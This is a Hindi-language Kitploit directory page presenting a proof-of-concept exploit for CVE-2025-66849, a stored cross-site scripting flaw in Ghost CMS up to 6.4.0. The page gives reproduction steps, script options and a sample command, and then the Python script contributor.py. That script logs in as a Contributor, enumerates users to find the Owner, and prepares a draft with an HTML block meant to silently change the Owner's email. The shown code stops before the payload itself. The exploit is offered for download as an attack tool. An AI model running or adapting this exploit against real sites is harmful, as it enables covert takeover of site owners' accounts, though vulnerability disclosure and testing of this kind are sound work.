Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-66849 — Ghost CMS विशेषाधिकार वृद्धि PoC | Kitploit
उपकरण/GitHubGitHub/wojtekchwala/cve-2025-66849
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगपेलोड डेवलपमेंट
GitHubwojtekchwala/cve-2025-66849

CVE-2025-66849

Ghost CMS विशेषाधिकार वृद्धि PoC

रिपॉजिटरी देखें
95 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-66849

Ghost CMS विशेषाधिकार वृद्धि PoC

सारांश

Ghost Foundation Ghost CMS 6.4.0 तक के संस्करणों में, पोस्ट ड्राफ्ट एडिटर के अंतर्गत HTML ब्लॉक उपयोगकर्ता द्वारा प्रदान की गई सामग्री को उचित रूप से सैनिटाइज़ या एन्कोड करने में विफल रहता है, जिसके परिणामस्वरूप एक संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS) भेद्यता उत्पन्न होती है। योगदानकर्ता (Contributor) विशेषाधिकार वाला उपयोगकर्ता एक ड्राफ्ट में मनमाना JavaScript इंजेक्ट कर सकता है, जो स्वामी (Owner) खाते द्वारा देखे जाने पर निष्पादित होता है। इससे हमलावर स्वामी के संदर्भ में विशेषाधिकार प्राप्त कार्य कर सकता है।

भेद्यता अवलोकन

गंभीरता: उच्च

प्रभावित संस्करण: Ghost 6.4.0 (20 अक्टूबर 2025 तक नवीनतम) - Ghost CMS 6.4.0 तक

पुनरुत्पादन के चरण

भेद्यता प्रदर्शित करने के लिए, दो खातों के साथ एक स्थानीय Ghost CMS इंस्टेंस सेट अप करना आवश्यक है:

  1. स्वामी खाता - Ghost इंस्टॉलेशन के दौरान स्वचालित रूप से बनाया गया।

  2. योगदानकर्ता खाता - स्वामी द्वारा एक नए उपयोगकर्ता को आमंत्रित करके बनाया गया। Ghost योगदानकर्ता के ईमेल पते पर खाता सेटअप पूरा करने के लिए एक मैजिक लिंक भेजता है।

चूँकि यह स्थानीय रूप से किया जाता है, MailHog जैसा एक ईमेल-कैप्चरिंग टूल (उदाहरण के लिए Docker के माध्यम से) स्थापित किया जाना चाहिए। यह Ghost द्वारा भेजे गए मैजिक लिंक को स्थानीय रूप से इंटरसेप्ट करने की अनुमति देता है, ताकि योगदानकर्ता स्वयं अपना खाता सक्रिय कर सके।

दोनों खाते सक्रिय होने के बाद, एक्सप्लॉइट स्क्रिप्ट (contributor.py) का उपयोग किया जा सकता है। स्क्रिप्ट को योगदानकर्ता के लॉगिन क्रेडेंशियल्स और उस नए ईमेल पते की आवश्यकता होती है जो सफल शोषण के बाद स्वामी खाते को सौंपा जाएगा।

स्क्रिप्ट पैरामीटर हैं:

-u / --username      Contributor username (email)
-p / --password      Contributor password
-e / --new-email     New email address to be set on the Owner account
--url                Ghost instance URL (optional)

टर्मिनल में स्क्रिप्ट चलाने के लिए उपयोग करें:

python3 contributor.py -u '[email protected]' -p 'wojtek123!@#' -e '[email protected]'

निष्पादित होने पर, स्क्रिप्ट स्वचालित रूप से एक नया पोस्ट ड्राफ्ट बनाती है जिसमें कमजोर HTML ब्लॉक के भीतर दुर्भावनापूर्ण JavaScript पेलोड होता है।

संग्रहीत XSS को ट्रिगर करने के लिए, स्वामी को केवल ड्राफ्ट का पूर्वावलोकन करना होता है इसे Ghost एडमिन पैनल में खोलकर और “Preview” पर क्लिक करके। इंजेक्ट की गई स्क्रिप्ट स्वामी के विशेषाधिकारों के साथ पृष्ठभूमि में निष्पादित होती है, और स्वामी को सूचित नहीं किया जाता कि उनका ईमेल पता बदल दिया गया है।

import requests
import json
import argparse

class GhostCMSSession:
    def __init__(self, ghost_url="http://localhost:2368"):
        self.ghost_url = ghost_url.rstrip('/')
        self.api_url = f"{self.ghost_url}/ghost/api/admin"
        self.session = requests.Session()
        self.authenticated = False
        self.current_user = None
        self.owner_user = None

        self.session.headers.update({
            'Origin': self.ghost_url,
            'Accept': 'application/json',
            'Content-Type': 'application/json'
        })

    def login(self, username, password):
        """Login to Ghost with username and password"""
        login_url = f"{self.api_url}/session/"
        payload = {"username": username, "password": password}

        try:
            response = self.session.post(login_url, json=payload)

            if response.status_code == 201:
                print(f"✓ Successfully logged in as {username}")
                self.authenticated = True
                self.current_user = self.get_current_user()
                self.owner_user = self.get_owner_user()
                return True
            else:
                print(f"✗ Login failed: {response.status_code}")
                return False
        except Exception as e:
            print(f"✗ Login error: {str(e)}")
            return False

    def get_current_user(self):
        """Get current user information"""
        if not self.authenticated:
            return None

        try:
            url = f"{self.api_url}/users/me/?include=roles"
            response = self.session.get(url)

            if response.status_code == 200:
                data = response.json()
                user = data['users'][0]

                print(f"\n  Current User: {user.get('name', 'Unknown')}")
                print(f"  Email: {user.get('email', 'Unknown')}")
                print(f"  User ID: {user.get('id', 'Unknown')}")

                if 'roles' in user and user['roles']:
                    role = user['roles'][0]
                    if isinstance(role, dict):
                        print(f"  Role: {role.get('name', 'Unknown')}")

                return user
            return None
        except Exception as e:
            print(f"  Error fetching user: {str(e)}")
            return None

    def get_owner_user(self):
        """Fetch all users and find the owner - return full user object"""
        if not self.authenticated:
            return None

        try:
            print(f"\n  Fetching all users to find owner...")
            url = f"{self.api_url}/users/?include=roles"
            response = self.session.get(url)

            if response.status_code == 200:
                data = response.json()
                users = data.get('users', [])

                print(f"  Found {len(users)} users")

                for user in users:
                    if 'roles' in user and user['roles']:
                        role = user['roles'][0]
                        role_name = role.get('name', '').lower() if isinstance(role, dict) else str(role).lower()

                        print(f"    - {user.get('name')} ({user.get('email')}) - Role: {role_name}")

                        if role_name == 'owner' or role_name == 'administrator':
                            print(f"\n  ✓ Found Owner: {user.get('name')} (ID: {user.get('id')})")
                            print(f"    Slug: {user.get('slug')}")
                            print(f"    Email: {user.get('email')}")
                            return user

                return None
            return None
        except Exception as e:
            print(f"  ✗ Error fetching users: {str(e)}")
            return None

    def create_lexical_with_html(self, html_content):
        """Create Lexical format with HTML node (as a JSON string)"""
        lexical_structure = {
            "root": {
                "children": [
                    {
                        "type": "html",
                        "version": 1,
                        "html": html_content,
                        "visibility": {
                            "web": {
                                "nonMember": True,
                                "memberSegment": "status:free,status:-free"
                            },
                            "email": {
                                "memberSegment": "status:free,status:-free"
                            }
                        }
                    },
                    {
                        "children": [],
                        "direction": None,
                        "format": "",
                        "indent": 0,
                        "type": "paragraph",
                        "version": 1
                    }
                ],
                "direction": None,
                "format": "",
                "indent": 0,
                "type": "root",
                "version": 1
            }
        }
        return json.dumps(lexical_structure)

    def create_post_for_review(self, title, new_email, tags=None, excerpt=None):
        """Create a post with Lexical HTML content"""
        if not self.authenticated or not self.current_user:
            print("✗ Not authenticated")
            return None

        if not self.owner_user:
            print("✗ Owner user not found")
            return None
टूल डाउनलोड करें